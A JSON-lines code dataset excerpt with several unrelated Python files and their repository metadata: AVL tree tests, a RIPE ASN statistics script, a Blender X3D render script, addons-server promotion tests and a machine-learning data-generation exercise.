avl_tree = AVLTree()\n avl_tree.insert(15)\n avl_tree.insert(8)\n avl_tree.insert(20)\n avl_tree.insert(4)\n avl_tree.insert(12)\n avl_tree.insert(10)\n avl_tree.insert(18)\n return avl_tree\n\n @pytest.fixture\n def new_tree(self) -> AVLTree:\n return AVLTree()\n\n def format_print(self, avl_tree_values: list[int]):\n strings: list[str] = []\n for value in avl_tree_values:\n strings.append(str(value))\n strings.append(\"\\n\")\n\n return \"\".join(strings)\n\n def test_avl_tree_insert(self, avl_tree: AVLTree):\n avl_tree.insert(1)\n\n def test_avl_tree_bfs(self, avl_tree: AVLTree, new_tree: AVLTree,\n capsys: CaptureFixture[str]):\n avl_tree.bfs()\n captured = capsys.readouterr()\n # bfs = [16, 8, 20, 4, 12, 18, 10]\n bfs = [12, 8, 18, 4, 10, 16, 20]\n assert captured.out == self.format_print(bfs)\n\n def test_avl_tree_pre_order_dfs(self, avl_tree: AVLTree,\n capsys: CaptureFixture[str]):\n avl_tree.pre_order_dfs()\n captured = capsys.readouterr()\n # pre_order_dfs = [16, 8, 4, 12, 10, 20, 18]\n pre_order_dfs = [12, 8, 4, 10, 18, 16, 20]\n assert captured.out == self.format_print(pre_order_dfs)\n\n def test_avl_tree_in_order_dfs(self, avl_tree: AVLTree,\n capsys: CaptureFixture[str]):\n avl_tree.in_order_dfs()\n captured = capsys.readouterr()\n # in_order_dfs = [4, 8, 10, 12, 16, 18, 20]\n in_order_dfs = [4, 8, 10, 12, 16, 18, 20]\n assert captured.out == self.format_print(in_order_dfs)\n\n def test_avl_tree_post_order_dfs(self, avl_tree: AVLTree,\n capsys: CaptureFixture[str]):\n avl_tree.post_order_dfs()\n captured = capsys.readouterr()\n # post_order_dfs = [4, 10, 12, 8, 18, 20, 16]\n post_order_dfs = [4, 10, 8, 16, 20, 18, 12]\n assert captured.out == self.format_print(post_order_dfs)\n\n def test_empty_avl_tree_traversal(self, new_tree: AVLTree,\n capsys: CaptureFixture[str]):\n new_tree.bfs()\n new_tree.pre_order_dfs()\n new_tree.in_order_dfs()\n new_tree.post_order_dfs()\n captured = capsys.readouterr()\n assert captured.out == \"\"\n\n def test_avl_tree_equality(self, avl_tree: AVLTree, avl_tree2: AVLTree):\n assert avl_tree == avl_tree2\n\n def test_avl_tree_inequality(self, avl_tree: AVLTree, avl_tree3: AVLTree):\n assert avl_tree != avl_tree3\n\n def test_avl_tree_leaf(self, avl_tree: AVLTree):\n node = avl_tree.root\n while node and node.left:\n assert avl_tree.is_leaf(node) == False\n node = node.left\n assert avl_tree.is_leaf(node)\n\n def test_avl_tree_height(self, new_tree: AVLTree):\n\n height = -1\n assert new_tree.height() == height\n for i in range(16):\n new_tree.insert(i)\n if i in [0, 1, 3, 7, 15]:\n height += 1\n assert new_tree.height() == height\n\n node = new_tree.root\n assert new_tree.subtree_height_difference(node) == 1\n while node:\n node = node.left\n assert new_tree.subtree_height_difference(node) == 0\n\n def test_min_value(self, new_tree: AVLTree):\n assert new_tree.min_value() == float(\"inf\")\n for i in range(16, -1, -1):\n new_tree.insert(i)\n assert new_tree.min_value() == i\n\n def test_find_value(self, new_tree: AVLTree):\n for i in range(16):\n assert new_tree.find(i) == False\n new_tree.insert(i)\n assert new_tree.find(i)\n\n def test_avl_tree_string_and_repr(self, new_tree: AVLTree):\n new_tree.insert(2)\n new_tree.insert(1)\n new_tree.insert(3)\n new_tree.insert(4)\n\n assert f\"{new_tree.root}\" == \"2\"\n assert f\"{new_tree.root!r}\" == \"AVLNode(value = 2, left = AVLNode(value = 1), right = AVLNode(value = 3, right = AVLNode(value = 4)))\"\n\n\nif __name__ == \"__main__\":\n pytest.main([__file__])\n", "repo_name": "SunnyHuangCodebase/Data-Structures-and-Algorithms", "sub_path": "tests/test_balanced_tree.py", "file_name": "test_balanced_tree.py", "file_ext": "py", "file_size_in_byte": 4512, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "data_structures.binary_tree.AVLTree", "line_number": 11, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 9, "usage_type": "attribute"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 10, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 23, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 21, "usage_type": "attribute"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 22, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 33, "usage_type": "attribute"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 34, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 47, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 45, "usage_type": "attribute"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 46, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 57, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 60, "usage_type": "name"}, {"api_name": "pytest.CaptureFixture", "line_number": 61, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 68, "usage_type": "name"}, {"api_name": "pytest.CaptureFixture", "line_number": 69, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 76, "usage_type": "name"}, {"api_name": "pytest.CaptureFixture", "line_number": 77, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 84, "usage_type": "name"}, {"api_name": "pytest.CaptureFixture", "line_number": 85, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 92, "usage_type": "name"}, {"api_name": "pytest.CaptureFixture", "line_number": 93, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 101, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 104, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 107, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 114, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 130, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 136, "usage_type": "name"}, {"api_name": "data_structures.binary_tree.AVLTree", "line_number": 142, "usage_type": "name"}, {"api_name": "pytest.main", "line_number": 153, "usage_type": "call"}]} {"seq_id": "20138721957", "text": "import requests\n \ndef find_asn(env) :\n f = open(f'/archive/_env/{env}', 'r')\n \n for _asn in f.readlines() :\n try :\n asn = _asn.strip()\n url_prefix = f\"https://stat.ripe.net/data/announced-prefixes/data.json?resource=AS{asn}\"\n url_path = f\"https://stat.ripe.net/data/as-path-length/data.json?resource=AS{asn}&sort_by=geo\"\n \n data = requests.get( url_prefix )\n prefix_num = len(data.json()['data']['prefixes']) \n\n data = requests.get( url_path )\n avg = t = 0\n for ele in data.json()['data']['stats'] :\n avg += float(ele['stripped']['avg'])\n t += 1\n \n length = avg/t\n result = open(f'/result/asn-info-{env}.txt', \"a+\")\n result.write( f\"{asn} {prefix_num} {length}\\n\")\n result.close()\n\n except Exception as e:\n missing = open(f'/result/missing.txt', 'a+')\n missing.write(f\"{asn} {str(e)}\\n\")\n missing.close()\n\n f.close()", "repo_name": "pora49494/preprocess", "sub_path": "app/module/asn.py", "file_name": "asn.py", "file_ext": "py", "file_size_in_byte": 1066, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 12, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 15, "usage_type": "call"}]} {"seq_id": "70901071590", "text": "import bpy\n\n##################################################################\n\npath_tox3d='C:/Users/xxx/Documents/blender/'\npath_toimage='C:/Users/xxx/Documents/blender/'\nfilename_ofx3d='projectname_'\nfilename_ofimage='newimage_'\nstartframe_ofx3d=0\nendframe_ofx3d=10\n\n\n\n##################################################################\n#---------------------------------------------------------------#\n## Delete everything from scene before importing ##\n\n#bpy.ops.object.select_all(action='TOGGLE')\n#bpy.ops.object.delete()\n\n#---------------------------------------------------------------#\n## Add a text #\n#bpy.ops.object.text_add()\n#bpy.ops.object.editmode_toggle()\n#bpy.ops.font.delete()\n#bpy.ops.font.text_insert(text=\"Frame: \")\n#bpy.ops.object.editmode_toggle()\n#bpy.ops.object.select_all(action='TOGGLE')\n#bpy.data.objects['Text'].name=\"Frametext\"\n\n#---------------------------------------------------------------#\n#bpy.context.scene.frame_set(currentframe)\nbpy.ops.object.add()\nbpy.data.objects['Empty'].select=True\nbpy.data.objects['Empty'].name=\"Aux_Empty\"\n#bpy.ops.anim.keyframe_insert(type='Location', confirm_success=True)\nbpy.context.active_object.location =(0.0, 0.0, 0.0)\nbpy.data.objects['Aux_Empty'].select=False\n\n\nfor currentframe in range(startframe_ofx3d,endframe_ofx3d):\n bpy.context.scene.frame_set(currentframe)\n #bpy.ops.object.add()\n bpy.data.objects['Aux_Empty'].select=True\n bpy.context.scene.objects.active = bpy.data.objects['Aux_Empty']\n #bpy.data.objects['Empty'].name=\"MyEmpty\"\n obj = bpy.context.object\n obj.location[2] = 0.0\n #obj.keyframe_insert()\n obj.keyframe_insert(data_path='location')\n #bpy.context.active_object.location =(0.0, 0.0, 0.0)\n bpy.data.objects['Aux_Empty'].select=False\n\n #---------------------------------------------------------------#\n ## import the x3d file\n bpy.ops.import_scene.x3d(filepath=path_tox3d+filename_ofx3d+str(currentframe)+'.x3d', filter_glob=\"*.x3d;*.wrl\", axis_forward='Z', axis_up='Y')\n #---------------------------------------------------------------#\n ## add the frame number to the text\n #bpy.data.objects[\"Frametext\"].select=True\n #bpy.ops.object.editmode_toggle()\n #bpy.ops.font.delete()\n #bpy.ops.font.text_insert(text=\"Frame: \"+str(currentframe))\n #bpy.ops.object.editmode_toggle()\n #bpy.data.objects[\"Frametext\"].select=False\n\n #---------------------------------------------------------------#\n ## rename the geometry to \"imported geometry\"\n bpy.data.objects['ShapeIndexedFaceSet'].name=\"imported_geometry\"\n bpy.data.objects['imported_geometry'].select=True\n bpy.context.scene.objects.active = bpy.data.objects['imported_geometry']\n bpy.context.active_object.material_slots[0].material.use_vertex_color_paint=True\n #bpy.ops.anim.keyframe_insert(type='Location', confirm_success=True)\n bpy.data.objects['imported_geometry'].select=False\n ## rename the default lamp to imported_lamp and delete right away\n bpy.data.objects['TODO'].name=\"imported_lamp\"\n bpy.data.objects['imported_lamp'].select=True\n bpy.ops.object.delete()\n ## rename the default camera to imported_camera and delete right away\n bpy.data.objects['Viewpoint'].name=\"imported_camera\"\n bpy.data.objects['imported_camera'].select=True\n bpy.ops.object.delete()\n\n #bpy.context.active_object.location = position\n\n\n\n\n\n #for object_name in candidate_list:\n # bpy.data.objects[object_name].select = True\n # bpy.context.active_object.location = position\n # bpy.ops.anim.keyframe_insert(type='Location', confirm_success=True)\n\n\n bpy.data.scenes['Scene'].render.resolution_percentage=100\n\n bpy.ops.render.render(write_still=True)\n\n bpy.data.images['Render Result'].file_format='PNG'\n bpy.data.images['Render Result'].save_render(filepath=path_toimage+filename_ofimage+str(currentframe)+'.png')\n bpy.data.objects['imported_geometry'].select=True\n bpy.ops.object.delete()\n\n\nbpy.data.objects['Aux_Empty'].select=True\nbpy.ops.object.delete()", "repo_name": "DaisukeMiyamoto/paraview-scripts", "sub_path": "blender/old/import_x3d2.py", "file_name": "import_x3d2.py", "file_ext": "py", "file_size_in_byte": 4095, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "bpy.ops.object.add", "line_number": 33, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 33, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 34, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 35, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 37, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 38, "usage_type": "attribute"}, {"api_name": "bpy.context.scene.frame_set", "line_number": 42, "usage_type": "call"}, {"api_name": "bpy.context", "line_number": 42, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 44, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 45, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 45, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 47, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 52, "usage_type": "attribute"}, {"api_name": "bpy.ops.import_scene.x3d", "line_number": 56, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 56, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 68, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 69, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 70, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 70, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 71, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 73, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 75, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 76, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.delete", "line_number": 77, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 77, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 79, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 80, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.delete", "line_number": 81, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 81, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 95, "usage_type": "attribute"}, {"api_name": "bpy.ops.render.render", "line_number": 97, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 97, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 99, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 100, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 101, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.delete", "line_number": 102, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 102, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 105, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.delete", "line_number": 106, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 106, "usage_type": "attribute"}]} {"seq_id": "35755621782", "text": "from datetime import datetime\n\nfrom django.conf import settings\n\nimport pytest\nfrom freezegun import freeze_time\n\nfrom olympia import amo\nfrom olympia.amo.tests import addon_factory, user_factory, version_factory\nfrom olympia.constants.promoted import LINE, NOT_PROMOTED, NOTABLE\nfrom olympia.promoted.models import PromotedAddon\nfrom olympia.reviewers.models import UsageTier\nfrom olympia.versions.utils import get_staggered_review_due_date_generator\nfrom olympia.zadmin.models import set_config\n\nfrom ..tasks import NOTABLE_TIER_SLUG, add_high_adu_extensions_to_notable\n\n\n@pytest.mark.django_db\ndef test_add_high_adu_extensions_to_notable_tier_absent_or_no_threshold():\n user_factory(pk=settings.TASK_USER_ID)\n set_config(amo.EXTRA_REVIEW_TARGET_PER_DAY_CONFIG_KEY, 999)\n\n extension_with_high_adu = addon_factory(\n average_daily_users=42, file_kw={'is_signed': True}\n )\n\n add_high_adu_extensions_to_notable()\n\n assert (\n extension_with_high_adu.reload().promoted_group(currently_approved=False)\n == NOT_PROMOTED\n )\n\n UsageTier.objects.create(slug=NOTABLE_TIER_SLUG, lower_adu_threshold=None)\n\n add_high_adu_extensions_to_notable()\n\n assert (\n extension_with_high_adu.reload().promoted_group(currently_approved=False)\n == NOT_PROMOTED\n )\n\n\n@pytest.mark.django_db\ndef test_add_high_adu_extensions_to_notable():\n user_factory(pk=settings.TASK_USER_ID)\n # Arbitrary_lower_adu_threshold\n lower_adu_threshold = 1234\n UsageTier.objects.create(\n slug=NOTABLE_TIER_SLUG, lower_adu_threshold=lower_adu_threshold\n )\n # arbitrary target per day\n target_per_day = 12\n set_config(amo.EXTRA_REVIEW_TARGET_PER_DAY_CONFIG_KEY, target_per_day)\n\n extension_with_low_adu = addon_factory(\n average_daily_users=lower_adu_threshold - 1, file_kw={'is_signed': True}\n )\n extension_with_high_adu = addon_factory(\n average_daily_users=lower_adu_threshold, file_kw={'is_signed': True}\n )\n ignored_theme = addon_factory(\n average_daily_users=lower_adu_threshold + 1, type=amo.ADDON_STATICTHEME\n )\n already_promoted = addon_factory(\n average_daily_users=lower_adu_threshold + 1, file_kw={'is_signed': True}\n )\n PromotedAddon.objects.create(addon=already_promoted, group_id=LINE.id)\n promoted_record_exists = addon_factory(\n average_daily_users=lower_adu_threshold + 1, file_kw={'is_signed': True}\n )\n PromotedAddon.objects.create(addon=promoted_record_exists, group_id=NOT_PROMOTED.id)\n unlisted_only_extension = addon_factory(\n average_daily_users=lower_adu_threshold + 1,\n version_kw={'channel': amo.CHANNEL_UNLISTED},\n file_kw={'is_signed': True},\n )\n mixed_extension = addon_factory(\n average_daily_users=lower_adu_threshold + 1, file_kw={'is_signed': True}\n )\n mixed_extension_listed_version = mixed_extension.current_version\n mixed_extension_listed_version.delete()\n mixed_extension_unlisted_version = version_factory(\n addon=mixed_extension, channel=amo.CHANNEL_UNLISTED, file_kw={'is_signed': True}\n )\n deleted_extension = addon_factory(\n average_daily_users=lower_adu_threshold + 1, file_kw={'is_signed': True}\n )\n deleted_extension_version = deleted_extension.current_version\n deleted_extension.delete()\n\n with freeze_time():\n now = datetime.now()\n add_high_adu_extensions_to_notable()\n\n assert (\n extension_with_low_adu.reload().promoted_group(currently_approved=False)\n == NOT_PROMOTED\n )\n assert (\n extension_with_high_adu.reload().promoted_group(currently_approved=False)\n == NOTABLE\n )\n assert (\n ignored_theme.reload().promoted_group(currently_approved=False) == NOT_PROMOTED\n )\n already_promoted.reload().promotedaddon.reload()\n assert already_promoted.promoted_group(currently_approved=False) == LINE\n promoted_record_exists.reload().promotedaddon.reload()\n assert promoted_record_exists.promoted_group(currently_approved=False) == NOTABLE\n assert unlisted_only_extension.promoted_group(currently_approved=False) == NOTABLE\n assert mixed_extension.promoted_group(currently_approved=False) == NOTABLE\n assert deleted_extension.promoted_group(currently_approved=False) == NOTABLE\n\n generator = get_staggered_review_due_date_generator(starting=now)\n\n assert extension_with_high_adu.current_version.needshumanreview_set.filter(\n is_active=True\n ).exists()\n assert extension_with_high_adu.current_version.due_date == next(generator)\n assert promoted_record_exists.current_version.needshumanreview_set.filter(\n is_active=True\n ).exists()\n assert promoted_record_exists.current_version.due_date == next(generator)\n unlisted_latest_version = unlisted_only_extension.find_latest_version(channel=None)\n assert unlisted_latest_version.needshumanreview_set.filter(is_active=True).exists()\n assert unlisted_latest_version.due_date == next(generator)\n assert mixed_extension_unlisted_version.needshumanreview_set.filter(\n is_active=True\n ).exists()\n assert mixed_extension_unlisted_version.reload().due_date == next(generator)\n assert mixed_extension_listed_version.needshumanreview_set.filter(\n is_active=True\n ).exists()\n # same as due due is per addon\n assert (\n mixed_extension_listed_version.reload().due_date\n == mixed_extension_unlisted_version.due_date\n )\n assert deleted_extension_version.needshumanreview_set.filter(\n is_active=True\n ).exists()\n assert deleted_extension_version.reload().due_date == next(generator)\n", "repo_name": "mozilla/addons-server", "sub_path": "src/olympia/promoted/tests/test_tasks.py", "file_name": "test_tasks.py", "file_ext": "py", "file_size_in_byte": 5653, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 844, "dataset": "github-code", "pt": "71", "api": [{"api_name": "olympia.amo.tests.user_factory", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.settings.TASK_USER_ID", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 21, "usage_type": "name"}, {"api_name": "olympia.zadmin.models.set_config", "line_number": 22, "usage_type": "call"}, {"api_name": "olympia.amo.EXTRA_REVIEW_TARGET_PER_DAY_CONFIG_KEY", "line_number": 22, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 22, "usage_type": "name"}, {"api_name": "olympia.amo.tests.addon_factory", "line_number": 24, "usage_type": "call"}, {"api_name": "tasks.add_high_adu_extensions_to_notable", "line_number": 28, "usage_type": "call"}, {"api_name": "olympia.constants.promoted.NOT_PROMOTED", "line_number": 32, "usage_type": "name"}, {"api_name": "olympia.reviewers.models.UsageTier.objects.create", "line_number": 35, "usage_type": "call"}, {"api_name": "olympia.reviewers.models.UsageTier.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "olympia.reviewers.models.UsageTier", "line_number": 35, "usage_type": "name"}, {"api_name": "tasks.NOTABLE_TIER_SLUG", "line_number": 35, "usage_type": "name"}, {"api_name": "tasks.add_high_adu_extensions_to_notable", "line_number": 37, "usage_type": "call"}, {"api_name": "olympia.constants.promoted.NOT_PROMOTED", "line_number": 41, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 19, "usage_type": "attribute"}, {"api_name": "olympia.amo.tests.user_factory", "line_number": 47, "usage_type": "call"}, {"api_name": "django.conf.settings.TASK_USER_ID", "line_number": 47, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 47, "usage_type": "name"}, {"api_name": "olympia.reviewers.models.UsageTier.objects.create", "line_number": 50, "usage_type": "call"}, {"api_name": "olympia.reviewers.models.UsageTier.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "olympia.reviewers.models.UsageTier", "line_number": 50, "usage_type": "name"}, {"api_name": "tasks.NOTABLE_TIER_SLUG", "line_number": 51, "usage_type": "name"}, {"api_name": "olympia.zadmin.models.set_config", "line_number": 55, "usage_type": "call"}, {"api_name": "olympia.amo.EXTRA_REVIEW_TARGET_PER_DAY_CONFIG_KEY", "line_number": 55, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 55, "usage_type": "name"}, {"api_name": "olympia.amo.tests.addon_factory", "line_number": 57, "usage_type": "call"}, {"api_name": "olympia.amo.tests.addon_factory", "line_number": 60, "usage_type": "call"}, {"api_name": "olympia.amo.tests.addon_factory", "line_number": 63, "usage_type": "call"}, {"api_name": "olympia.amo.ADDON_STATICTHEME", "line_number": 64, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 64, "usage_type": "name"}, {"api_name": "olympia.amo.tests.addon_factory", "line_number": 66, "usage_type": "call"}, {"api_name": "olympia.promoted.models.PromotedAddon.objects.create", "line_number": 69, "usage_type": "call"}, {"api_name": "olympia.promoted.models.PromotedAddon.objects", "line_number": 69, "usage_type": "attribute"}, {"api_name": "olympia.promoted.models.PromotedAddon", "line_number": 69, "usage_type": "name"}, {"api_name": "olympia.constants.promoted.LINE.id", "line_number": 69, "usage_type": "attribute"}, {"api_name": "olympia.constants.promoted.LINE", "line_number": 69, "usage_type": "name"}, {"api_name": "olympia.amo.tests.addon_factory", "line_number": 70, "usage_type": "call"}, {"api_name": "olympia.promoted.models.PromotedAddon.objects.create", "line_number": 73, "usage_type": "call"}, {"api_name": "olympia.promoted.models.PromotedAddon.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "olympia.promoted.models.PromotedAddon", "line_number": 73, "usage_type": "name"}, {"api_name": "olympia.constants.promoted.NOT_PROMOTED.id", "line_number": 73, "usage_type": "attribute"}, {"api_name": "olympia.constants.promoted.NOT_PROMOTED", "line_number": 73, "usage_type": "name"}, {"api_name": "olympia.amo.tests.addon_factory", "line_number": 74, "usage_type": "call"}, {"api_name": "olympia.amo.CHANNEL_UNLISTED", "line_number": 76, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 76, "usage_type": "name"}, {"api_name": "olympia.amo.tests.addon_factory", "line_number": 79, "usage_type": "call"}, {"api_name": "olympia.amo.tests.version_factory", "line_number": 84, "usage_type": "call"}, {"api_name": "olympia.amo.CHANNEL_UNLISTED", "line_number": 85, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 85, "usage_type": "name"}, {"api_name": "olympia.amo.tests.addon_factory", "line_number": 87, "usage_type": "call"}, {"api_name": "freezegun.freeze_time", "line_number": 93, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 94, "usage_type": "name"}, {"api_name": "tasks.add_high_adu_extensions_to_notable", "line_number": 95, "usage_type": "call"}, {"api_name": "olympia.constants.promoted.NOT_PROMOTED", "line_number": 99, "usage_type": "name"}, {"api_name": "olympia.constants.promoted.NOTABLE", "line_number": 103, "usage_type": "name"}, {"api_name": "olympia.constants.promoted.NOT_PROMOTED", "line_number": 106, "usage_type": "name"}, {"api_name": "olympia.constants.promoted.LINE", "line_number": 109, "usage_type": "name"}, {"api_name": "olympia.constants.promoted.NOTABLE", "line_number": 111, "usage_type": "name"}, {"api_name": "olympia.constants.promoted.NOTABLE", "line_number": 112, "usage_type": "name"}, {"api_name": "olympia.constants.promoted.NOTABLE", "line_number": 113, "usage_type": "name"}, {"api_name": "olympia.constants.promoted.NOTABLE", "line_number": 114, "usage_type": "name"}, {"api_name": "olympia.versions.utils.get_staggered_review_due_date_generator", "line_number": 116, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 45, "usage_type": "attribute"}]} {"seq_id": "19247059589", "text": "\"\"\"\ntemplate for generating data to fool learners (c) 2016 Tucker Balch\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\n\n# this function should return a dataset (X and Y) that will work\n# better for linear regresstion than random trees\ndef best4LinReg(seed=1489683273):\n np.random.seed(seed)\n X = np.random.standard_normal(size=(1000, 2))\n Z = X.sum(axis=1)\n size = X.shape[0]\n Y = Z + np.random.normal(size=size)\n # 1X = np.mgrid[-5:5:0.5,-5:5:0.5].reshape(2,-1).T\n # Y = X[:,0]*X[:,1] + np.random.normal(size = X.shape[0])\n return X, Y\n\n\ndef best4RT(seed=1489683273):\n np.random.seed(seed)\n mu, sigma = 10, 140\n # X1 = np.random.normal(mu, sigma, size=(500,20))\n # mu, sigma = 0, 120\n # X2 = np.random.normal(mu, sigma, size = (500, 20))\n # X = np.concatenate((X1,X2), axis=0)\n # X = np.random.rand(1000,20)\n #X1 = np.random.uniform(0, 10, 1000)\n X1 = np.random.normal(25, 25, 5000)\n X2 = np.zeros(X1.shape[0])\n\n for i in range(len(X1)):\n if X1[i] > 25:\n X2[i] = np.random.normal(-100, 5, 1)\n else:\n X2[i] = np.random.normal(100, 5, 1)\n\n X = np.column_stack((X1, X2))\n Y = np.zeros(X1.shape[0])\n\n for i in range(len(X1)):\n if X1[i] > 25:\n if X2[i] > -100:\n Y[i] = np.random.normal(10, 1, 1)\n else:\n Y[i] = np.random.normal(5, 1, 1)\n else:\n if X2[i]> -100:\n Y[i] = np.random.normal(5, 1, 1)\n else:\n Y[i] = np.random.normal(10, 1, 1)\n\n # Y = np.random.rand(X.shape[0])\n\n\n # Y= np.random.standard_normal(X1.shape[0] + X2.shape[0])\n # Y = np.random.normal(mu, sigma, X1.shape[0] + X2.shape[0])\n # X = np.random.normal(size = (50, 2))\n # Y = 0.8 * X[:,0] + 5.0 * X[:,1]\n return X, Y\n\n\nif __name__ == \"__main__\":\n X1, Y1 = best4LinReg(seed=5)\n X2, Y2 = best4RT(seed=5)\n plt.plot(X1, Y1)\n plt.title('Best4LinReg')\n # plt.show()\n\n plt.plot(X2, Y2)\n plt.title('Best4RandomTree')\n plt.show()\n # print \"they call me Tim.\"\n", "repo_name": "aten2001/omscs-cs7646", "sub_path": "mc3h1_defeat_learners/gen_data.py", "file_name": "gen_data.py", "file_ext": "py", "file_size_in_byte": 2119, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.random.seed", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.random.standard_normal", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.column_stack", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 54, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": 